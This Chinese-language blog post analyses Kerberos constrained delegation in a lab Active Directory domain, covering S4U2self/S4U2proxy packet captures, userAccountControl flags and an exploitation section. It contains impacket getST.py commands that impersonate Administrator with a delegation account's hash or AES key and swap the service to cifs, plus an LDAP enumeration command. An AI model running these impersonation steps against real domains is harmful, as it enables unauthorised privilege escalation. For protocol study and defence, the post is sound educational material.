返回
顶部

references:

约定:

  • DS服务器:Delegation Server——委派服务器
  • OB用户:on behalf user——被委派的用户
  • RS服务器:Resource Server——资源服务器

0x1 简介

之前的文章中,我们介绍了Kerberos非约束委派及利用方式,那么在这篇文章中,我将会介绍Windows AD环境中Kerberos协议的约束委派

约束委派中的约束二字具体体现在下图中:

1645954678509

也就是说,我们可以限制DS服务器所能够访问到的服务

比如上图中,DS服务器ds-server只能够访问到RS服务器WIN-JTPO01EANAQ的time服务

你或许注意到了,上图中有两个选项,一个仅可以使用Kerberos,另一个可以使用任何身份验证协议

这两个选项分别对应微软为Kerberos协议开发的两个拓展:

  • S4U2proxy
  • S4U2self

其中第二个拓展提供了一个叫做Protocol Transition(协议转换)的特性

也就是说,不管客户端使用何种认证协议认证到DS服务器,都能够使用该用户的身份通过DS服务器来访问RS服务器

大致过程如下:

  • OB用户使用NTLM(或者其他的身份认证协议)认证到DS服务器
  • DS服务器代表OB用户向KDC请求一个针对自身的TGS票据(OB@DS$@domain.name),这个过程叫做S4U2self
  • DS服务器使用上一步获取的TGS票据向KDC请求一个针对RS服务器的TGS票据(OB@time/RS@domain.name),这个过程叫做S4U2proxy,time是我们在上图中指定的服务类型

下面我们就进行抓包分析,以便更好地理解这两个扩展

0x2 抓包

我们在配置好ds-server服务器的委派设置之后,使用impacket中的examples脚本中的getST.py来进行演示

执行如下命令执行完整的S4U请求(先执行S4U2self请求,然后执行S4U2proxy请求)

python3 getST.py mother.fucker/ds-server$ -hashes :061c54f1f5311e1f47958465e16bab65 -impersonate Administrator -spn time/WIN-JTPO01EANAQ.mother.fucker -dc-ip 192.168.64.128

wireshark过滤条件直接写tcp.port==88即可

0x2.1 S4U2self

0x2.1.1 DS服务器获取TGT票据

1645955992786

在实际的S4U过程中,这一步是在DS服务器开机之后就完成的,但是由于我们是使用工具模拟请求,所以需要先获取到DS服务器的TGT票据

这也是为什么我们在上面的命令中需要使用ds-server$账户的hash

该过程在Kerberos协议分析一文中已经讲解过,在此不再赘述

0x2.1.2 DS服务器代表OB用户获取针对自己的TGS票据

TGS-REQ:

1645957272094

小标题中的针对自己的TGS票据意思就是在请求的票据中不包含服务类型,而只有DS服务器的机器账户名称

可以看到,在该TGS请求中,提交的是DS服务器自己的TGT票据,我们可以使用解密工具解密authenticator字段来证明

1645964029604

另外一个重要的字段就是PA-DATA,类型为pA-FOR-USER

下面是微软[MS-SFU]文档中对PA-FOR-USER的描述

1645964296500

上图中最后给出了该字段的结构,其中cksumuserNameuserRealmauth-package的校验和

校验和的计算需要TGT session key,userName就是OB用户

因此我们完全有能力自行构造PA-FOR-USER字段

你会发现,我们居然不需要OB用户的任何凭据信息就可以对其进行委派,只需要知道OB用户所在的域名和其samAccountName即可

TGS-REP:

1645964779409

可以看到,该票据的所有者是Administrator,也就是OB用户,我们可以通过解密ticket.enc-part来进一步确认

1645965352165

0x2.2 S4U2proxy

0x2.2.1 DS服务器代表OB用户获取针对RS服务器的TGS票据

TGS-REQ:

1645966125024

从上图中可以看到DS服务器拿着自己的TGT票据,以及在req-body中的additional-tickets向KDC申请time/WIN-JTPO01EANAQ.mother.fucker票据

additional-tickets就是在S4U2self阶段获取到的针对DS服务器自身的TGS票据

TGS-REP:

1645966408150

该票据就是颁发给Administrator用户的,我们可以通过解密ticket.enc-part来进一步确认该票据的所有者

1645966539210

至此,整个约束委派过程就完成,我们获取到了用于访问RS服务器WIN-JTPO01EANAQ.mother.fucker的time服务的票据

0x3 拓展

0x3.1 TGS票据中SPN服务类型可以任意修改

票据通过TGS-REP从KDC返回给客户端,也就是其中的ticket字段,该字段中有一个enc-part,是使用目标服务的账户哈希进行加密的,我们可以看一下该字段解密后的结构:

1645967014565

其中没有任何一个字段与SPN有关,也就是说,即便我们修改了SPN的服务类型,也不会导致票据失效

而且事实的确如此,就算将我们上面获取到的票据中SPN的服务类型由time改为cifs,也依然可以正常使用

可以使用这个修改过的getST.py在获取TGS票据的同时对服务类型进行修改,只需要将执行的命令改成下面即可:

python3 getST.py mother.fucker/ds-server$ -impersonate Administrator -spn time/WIN-JTPO01EANAQ.mother.fucker -altservice cifs -dc-ip 192.168.64.128 -aesKey 63b97c1cc1e372a0622452fad91adfb50ac06961e470a1ea1d508ac607f42239

使用获取到的cifs票据访问目标服务器文件系统

1645967779095

注意:只有运行在同一个服务账户下的服务才可以互相更改,比如time服务运行在example_service_user账户下,那么就算你改成了cifs服务,也你无法访问服务器的文件系统,因为cifs服务并不是由example_service_user账户运行的,一般由计算机账户运行

0x3.2 user account control

回到文中的第一张图

如果我们选择了使用任何身份验证协议,那么我们的DS服务器账户的useraccountcontrol属性的值为0x1001000

image-20220228195037393

对照[MS-ADTS]中对userAccountControl Bits的描述:

image-20220228195226544

0000 0001 0000 0000 0001 0000 0000 0000

第7位和第19位两个比特位启用,两者分别对应TAWT

TA代表ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION启用了该bit位的账户可以代表其他用户通过S4U2self请求获取到一个针对自己的TGS票据,且该票据拥有forwardable标志位(可转发),如果票据不可转发,那么S4U2proxy请求将会失败

WT标志位表示该账户是机器账户

我们可以尝试将ds-server账户userAccountControl属性的TA标志位取消掉(将其值设置为4096),然后再执行S4U2self,查看返回的票据是否具有forwardable标志位

python3 getST.py mother.fucker/ds-server$ -impersonate Administrator -self -dc-ip 192.168.64.128 -aesKey 63b97c1cc1e372a0622452fad91adfb50ac06961e470a1ea1d508ac607f42239

使用describeTicket.py脚本查看票据的详细信息

python3 describeTicket.py -u ds-server$ -d mother.fucker --aes 63b97c1cc1e372a0622452fad91adfb50ac06961e470a1ea1d508ac607f42239 C:\Users\x\Downloads\tmp\Administrator@ds-server$@MOTHER.FUCKER.ccache

可以看到S4U2self请求返回的票据并不带有forwardable标志位

image-20220228204852524

那么下一步的S4U2proxy请求就回应为additional-ticket中的票据无法被转发而失败:

image-20220228205923389

另外,我们可以看到ds-server的委派配置变成了下面这样:

image-20220228210042818

这是因为我们前面更改userAccountControl属性,取消了TA标志位

也就是说没有TA标志位的委派服务器执行S4U2self请求是没有意义的(在某些特殊的攻击场景下会有用),因为返回的票据并不能用于S4U2proxy

该选项相较于上面的使用任何身份验证协议更加安全,因为我们需要先使用OB用户的凭据来获取一个针对DS服务器的票据,然后才可以执行S4U2proxy来获取针对RS服务器的票据,这样就大大增加了攻击难度

0x4 利用

可以使用csvde搜索域内所有msDS-AllowedToDelegateTo属性不为空的账户:

csvde -s 192.168.64.128 -b Administrator mother.fucker qwe123... -d "dc=mother,dc=fucker" -r (msds-AllowedToDelegateTo=*/*) -l dn,sAMAccountName,msds-AllowedToDelegateTo,userAccountControl -m -f res.csv -u

然后我们需要通过userAccountControl的值确认是否启用了TA标志位,执行下面的Python代码即可:

print(True if (uac & (1<<24)) == (1<<24) else False)

由于TA为第7位(从0开始),因此可以通过和左移24位的1进行与运算来判断该bit位是否启用

如果TA比特位启用,且可以委派到指定服务器,那么一旦我们获得了该委派服务账户的凭据,我们就可以冒充任意账户去获取指定服务器的票据

python3 getST.py mother.fucker/ds-server$ -hashes :061c54f1f5311e1f47958465e16bab65 -impersonate Administrator -spn time/WIN-JTPO01EANAQ.mother.fucker -altservice cifs -dc-ip 192.168.64.128

因此,这个利用难度还是比较高的,后面我们将会介绍Kerberos基于资源的约束委派,在这种类型的约束委派中,S4U2self和S4U2proxy将会起到非常重要的作用

0x5 结语

没什么新的内容,都是网上能找得到的东西,这里不过是炒炒冷饭而已,权当笔记

如有不足之处,欢迎师傅们指点